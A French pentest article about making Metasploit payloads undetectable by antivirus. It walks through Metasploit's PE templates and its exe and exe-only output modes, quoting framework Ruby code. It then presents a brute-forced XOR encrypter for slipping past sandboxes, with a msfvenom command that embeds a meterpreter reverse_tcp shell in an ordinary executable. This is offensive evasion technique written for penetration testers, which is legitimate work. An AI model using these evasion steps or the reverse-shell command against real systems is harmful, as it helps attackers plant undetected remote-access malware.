Le projet que nous allons vous exposer est parti d’un constat simple : un grand nombre de nos attaques utilisant la suite Metasploit n’arrivait pas à leur terme, en raison des protections mises en place par des solutions de protection de type antivirus, H-IPS, etc. L’objectif de cet article est de proposer une approche générique permettant de contourner rapidement ces protections tout en permettant d’utiliser, inchangés, les nombreux codes d’exploitation ASM/x86 publics ; quel que soit le vecteur d’attaque (fichier, service réseau, etc.).
1. Le Framework Metasploit
Metasploit Framework souvent désigné par son abréviation MSF est un projet open source développé principalement en Ruby. Son but est d’aider à la réalisation de tests liés à la sécurité des SI et au développement rapide de code d’exploitation.
Il est organisé de façon modulaire et possède plusieurs interfaces utilisateurs qu’on ne présente plus : msfconsole, msfcli, msfpayload , msfencode, etc. Les deux dernières seront celles qui nous intéresseront dans cet article. Ces deux interfaces, en l’occurrence msfpayload et msfencode sont désormais rassemblées en une seule nommée msfvenom. La commande msfpayload permet la génération de code malveillant pouvant se présenter sous différents formats (C, Python, JavaScript, etc.) en fonction du contexte dans lequel sera exécutée cette charge. Cette composante d’encodage disponible dans metasploit a pour unique fonction la suppression de caractères tels que la présence d’un octet nul x00 représentant la fin d’une chaîne de caractères et peut poser problème lors de l’exploitation de vulnérabilités. En effet, l’encodeur modifie le code de la charge malveillante. À titre d’exemple, une opération de type XOR peut être appliquée à chaque octet. Cette transformation entraînera la modification de la signature détectée par les antivirus. C’est pour cette raison que les encodeurs sont souvent assimilés, à tort, a des moyens de contourner les solutions antivirales.
1.1 Les templates
Les « templates » sont des fichiers exécutables à l’intérieur desquels Metasploit insère une charge malveillante. Il en existe plusieurs disponibles par défaut pour les systèmes d’exploitation GNU/Linux, Microsoft Windows, Mac OS X et pour d’autres architectures plus exotiques. Ces fichiers sont stockés dans le répertoire metasploit-framework/data/templates/, on y trouve notamment ceux utilisés pour le format PE :
template_x64_windows.exe
template_x64_windows_svc.exe
template_x86_windows.exe
template_x86_windows_old.exe
template_x86_windows_svc.exe
Il est également possible de remplacer ces templates fournis par défaut, bien connus des éditeurs de solutions antivirales, par un exécutable quelconque, correspondant en termes d’architecture et de format (utilisation de l’option -x).
Dans le cadre de cet article, nous nous intéresserons principalement à la sortie d’un exécutable 32 bits au format PE. Prenons le cas d’un système d’exploitation Windows x86, le fichier utilisé sera template_x86_windows.exe. L’image ci-dessous nous montre l’analyse de cet exécutable (sans charge malveillante insérée) par le site internet virustotal.com.
Figure 1 : Analyse de l'exécutable « template_x86_windows.exe » sans charge malveillante.
Comme nous pouvons le constater si l’objectif est de réaliser un exécutable totalement indétectable, notre démarche n’est pas satisfaisante du fait que le template par défaut, dépourvu de charge, est détecté comme malveillant.
1.2 Format de sortie
Metasploit utilise différents formats de sortie. Pour les systèmes Microsoft Windows, nous avons la possibilité de générer la charge soit dans une librairie avec l’option dll, soit liée à un service avec l’option exe-service. Nous nous intéresserons surtout aux exécutables au format PE. En effet, il existe plusieurs options dont la différence réside dans la façon d’insérer et d’exécuter la charge. C’est ainsi que nous disposons des options exe, exe-only et exe-small. Cette dernière étant aisément détectée n’est plus très utile et ne sera donc pas abordée au cours de cet article.
1.2.1 exe
Nous allons commencer par expliquer le fonctionnement de l’option exe. Elle fait appel à la fonction to_win32pe contenue dans le fichier metasploit/lib/msf/util/exe.rb. Dans les premières lignes figure l’appel à la fonction win32_rwx_exec.
# Copy the code to a new RWX segment to allow for self-modifying encoders
payload = win32_rwx_exec(code)
Cette fonction prend comme paramètre la variable code, qui est en réalité une charge seule (ex : windows/x86/meterpreter/reverse_tcp), ou un trampoline associé à une charge, si cette dernière a été encodée. La fonction va concaténer un trampoline à la variable code passée en paramètre. Le résultat de cette action est stocké dans la variable payload présente dans la séquence mentionnée ci-dessus.
Le trampoline, une fois exécuté, va allouer une zone mémoire grâce à la fonction VirtualAllocavec les droits PAGE_EXECUTE_READWRITE. Le fonctionnement du trampoline est volontairement simplifié puisque préalablement à l’appel de la fonction VirtualAlloc il a besoin d’obtenir les adresses des fonctions. À ces fins, il utilise la méthode suffisamment détaillée sur Internet dont on peut prendre connaissance avec la référence [2].
Revenons à la fonction to_win32pe. Elle va chercher une section exécutable suffisamment grande pour contenir la charge. Puis elle va tirer aléatoirement la position où sera placée la variable payload
# Pick a random offset to store the payload
poff = rand(block[1] - payload.length - 256)
Par la suite, elle appelle la fonction generate_nopsqui créer une suite de nops et d’instructions aléatoires placées sur le point d’entrée.
# Pad the entry point with random nops
entry = generate_nops(framework, [ARCH_X86], rand(200) + 51)
À la fin du bloc entry un saut vers la charge est inséré.
# Relative jump from the end of the nops to the payload
entry += "\xe9" + [poff - (eidx + entry.length + 5)].pack('V')
La fonction mélange ensuite, de façon aléatoire, 25 % du code original écrit dans la section .text, les blocs entries et payload; modifie le timestamp et recalcule le checksum. Le traitement est résumé dans le schéma ci-dessous :
Figure 2 : Analyse du fonctionnement de l'encodeur pour le format de sortie « exe ».
1.2.2 exe-only
L’option que nous allons détailler maintenant est exe-only qui fait appel à la fonction to_winpe_only. Le code ci-dessous permet de parcourir les sections à la recherche de celle contenant le point d’entrée. Nous vérifions toujours que la taille est suffisante pour écrire la charge. En effet, au lieu de créer un code qui allouera une zone mémoire, nous donnons à la section les droits en écriture et nous modifions, à cet effet, le champ characteristics. La charge sera, alors, directement exécutée dans la section exécutable du binaire.
# look for section with entry point
sections_header.each do |sec|
virtualAddress = sec[1][virtualAddress_offset,0x4].unpack('V')[0]
sizeOfRawData = sec[1][sizeOfRawData_offset,0x4].unpack('V')[0]
characteristics = sec[1][characteristics_offset,0x4].unpack('V')[0]
if (virtualAddress...virtualAddress+sizeOfRawData).include?(addressOfEntryPoint)
importsTable = pe.hdr.opt.DataDirectory[8..(8+4)].unpack('V')[0]
if (importsTable - addressOfEntryPoint) < code.length
#shift original entry point to prevent tables overwritting
addressOfEntryPoint = importsTable - code.length + 4
entry_point_offset = pe._dos_header.v['e_lfanew'] + entryPoint_offset
exe[entry_point_offset,4] = [addressOfEntryPoint].pack('V')
end
# put this section writable
characteristics |= 0x8000_0000
newcharacteristics = [characteristics].pack('V')
exe[sec[0],newcharacteristics.length] = newcharacteristics
end
end
Enfin, la charge sera directement placée au niveau du point d’entrée de notre fichier exécutable.
# put the shellcode at the entry point, overwriting template
entryPoint_file_offset = pe.rva_to_file_offset(addressOfEntryPoint)
exe[entryPoint_file_offset,code.length] = code
exe = clear_dynamic_base(exe, pe)
exe
1.3 Encoder
L’outil msfencode, souvent utilisé conjointement avec msfpayload, permet d’encoder la charge en fonction du format cible et de l’encodeur retenu. Pour que le code d’exploitation fonctionne correctement, une des actions devant, par exemple, être souvent réalisée, consiste en la suppression des mauvais caractères. msfencode fait appel aux fonctions du script lib/msf/core/encoder.rb. Ce dernier contient notamment deux classes : EncoderState et Encoder.
- EncoderState sert à suivre l’état d’avancement de l’encodage. Il stocke des attributs tels que buf, correspondant au buffer initial, qui contient la charge non modifiée et encoded, correspondant au buffer final, qui contient la charge encodée (et/ou) chiffrée, et bien d’autres attributs.
- Encoder qui génère à l’aide de la fonction encodeune version encodée du buffer passé en argument. Tous les encodeurs héritent de cette deuxième classe.
L’image ci-dessous illustre cette fonction :
Figure 3 : Code de la fonction ruby encode().
La séquence qui va nous intéresser se situe à partir de la ligne 268. Nous constatons qu’elle fait appel à trois fonctions : encode_begin et encode_end, toutes deux redéfinies dans l’encodeur sélectionné, et do_encode.
- encode_begin réalise des tâches préalables à l’encodage ;
- encode_endvaréaliser les actions postérieures à l’encodage ;
- do_encodeva permettre les actions de génération du trampoline et d’encodage de la chargecomme le montre l’exemple ci-après :
Figure 4 : Code de la fonction ruby do_encode().
En ligne 286, la fonctiondecoder_stubest appelée. C’est à cet emplacement que sera généré le trampoline. Il est à noter que la séquence assembleur permet le décodage/déchiffrement de la charge en mémoire vive et son exécution. L’action exécutée ensuite est confiée à la fonction encode_block qui réalise l’encodage du buffer.Ces deux fonctions dépendent de l’encodeur. Une fois leurs actions réalisées, le trampoline et la charge sont concaténés (ligne 325).
2. Détection sans charge malveillante
Dans le tableau ci-dessous, nous avons voulu observer quelle composante les solutions antivirales détectent en excluant une charge malveillante :
Template |
Format de sortie |
Encoder |
VirusTotal |
template_x86_windows.exe (Metasploit)
|
exe-only |
Aucun |
18 / 54 |
exe |
Aucun |
29 / 54 |
|
exe-only |
shikata_ga_nai |
16 / 54 |
|
exe |
shikata_ga_nai |
35 / 54 |
|
PDFJPG.exe (http://www.pdfjpg.com) |
exe-only |
Aucun |
0 / 54 |
exe |
Aucun |
19 / 54 |
|
exe-only |
shikata_ga_nai |
2 / 54 |
|
exe |
shikata_ga_nai |
25 / 54 |
Nous voyons clairement que le template Metasploit lève davantage d’alertes qu’un binaire quelconque. Nous pouvons également constater que le format de sortie exe est plus détecté que exe-only. Cela peut s’expliquer, en partie, par la technique utilisée pour l’exécution de la charge malveillante qui dans le cas de exe est faite par une allocation mémoire grâce à VirtualAlloc avec les droits PAGE_EXECUTE_READWRITE. Afin qu’un exécutable Windows ait le moins de chance d’être détecté par les solutions antivirales la première règle à respecter consiste à ne jamais utiliser les templates fournis par Metasploit, et la deuxième consiste à préférer exe-only pour le format de sortie.
3. Encrypter
3.1 Objectifs
L’outil que nous allons vous présenter maintenant n’est pas un encodeur, mais s’apparente plutôt à un outil de chiffrement, son objectif principal étant de rendre les charges malveillantes indétectables en les chiffrant. Notre outil de chiffrement doit contourner les protections antivirales, ce qui revient à prendre en compte la recherche par signature et la recherche par comportement. Afin de faciliter son utilisation, il est intégré comme encodeur au sein du framework Metasploit.
Notre implémentation utilise « l'algorithme XOR », parce que suffisant pour atteindre notre objectif.
3.2 Fonctionnement
Une idée simple permettant de contourner l’analyse par signature consiste à chiffrer la charge malveillante connue qui sera stockée dans un exécutable, dans un échange réseau, etc.
L’analyse comportementale est réalisée dans un bac à sable ou sandbox permettant d’exécuter, en limitant les risques, un code inconnu dans un environnement restreint. L’utilisateur ne souhaitant pas attendre indéfiniment, cette analyse doit être limitée dans le temps ou via un nombre de cycles de calcul. Si aucun comportement considéré comme malveillant n’a été identifié, la charge sera alors effectivement lancée sur le système d’exploitation. Réaliser un grand nombre de calculs, coûteux en temps, nécessaires pour retrouver le code malveillant en clair, nous permettra donc de contourner simplement l’analyse comportementale.
La solution retenue consiste à retrouver la clé de chiffrement par une attaque de type « force brute ». Notre stub contient un « clair connu », correspondant aux dix premiers octets de la charge non chiffrée. Ainsi pour retrouver la clé de chiffrement, il suffit d’effectuer une attaque par force brute sur les dix premiers octets de la charge chiffrée jusqu’à retomber sur le clair connu et ainsi retrouver la clé de chiffrement.
La durée de ce traitement étant supérieure à celle accordée à l’analyse effectuée en sandbox, cette dernière est contournée. Le temps nécessaire à cette opération dépend, en grande partie, de la puissance de la machine cible, des ressources CPU disponibles et de la grandeur de la clé. Dans notre implémentation, celle-ci est stockée dans un registre de 32 bits impliquant, de ce fait, 232 possibilités.
3.3 Utilisation
Le code source de l’outil se trouve à l’adresse suivante https://github.com/Sogeti-Pentest/Encrypter-Metasploit. Son installation est simple. Il suffit de copier le script ruby dans le répertoire metasploit/modules/encoders/x86/. Son utilisation est similaire à celle de tous les autres encodeurs de Metasploit.
Avec msfvenom :
msfvenom –p windows/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=2222 -f raw -x filename.exe -f exe-only -e x86/bf_xor -o msf.exe
Avec msfconsole :
msf exploit(handler) > set ENCODER x86/bf_xor
ENCODER => x86/bf_xor
msf exploit(handler) > exploit
3.4 Résultats
Les tests effectués à la fin du projet sur le site virustotal.com nous ont montré qu’aucun antivirus, sur un total de 57 sélectionnés, n’a détecté la charge malveillante.
Figure 5 : Résultat sur virustotal pour un binaire contenant une charge de type meterpreter/reverse_tcp encodée.
Nous avons également réalisé des tests dans une machine virtuelle avec les antivirus Kaspersky internet security 2014, Avast, Symantec, et bien d’autres lors de nos missions de tests d’intrusion. Aucun d’entre eux n’a détecté la charge, ni même émis une alerte. Cependant, certaines sandbox gardent l’exécutable plus longtemps que d’autres, il est donc nécessaire d’utiliser une clé assez grande ou de faire appel à l’option -c de msfencode permettant d’encoder plusieurs fois.
3.5 Points d’amélioration
Le développement d’un trampoline polymorphique, la gestion de clé de taille supérieure à 32 bits, la taille aléatoire du clair connu, une compatibilité avec l’architecture x64 sont des points d’amélioration laissés aux lecteurs en guise d’exercices ;-)
Remerciements
Merci aux équipes de SOGETI ESEC pentest & lab pour leurs relectures. Greetz à la fapsec family et au staff Root Me, thx pour les tests ;-p
Références
http://schierlm.users.sourceforge.net/avevasion.html
http://blog.harmonysecurity.com/2009_08_01_archive.html
https://www.scriptjunkie.us/2011/04/why-encoding-does-not-matter-and-how-metasploit-generates-exes/
https://github.com/rapid7/metasploit-framework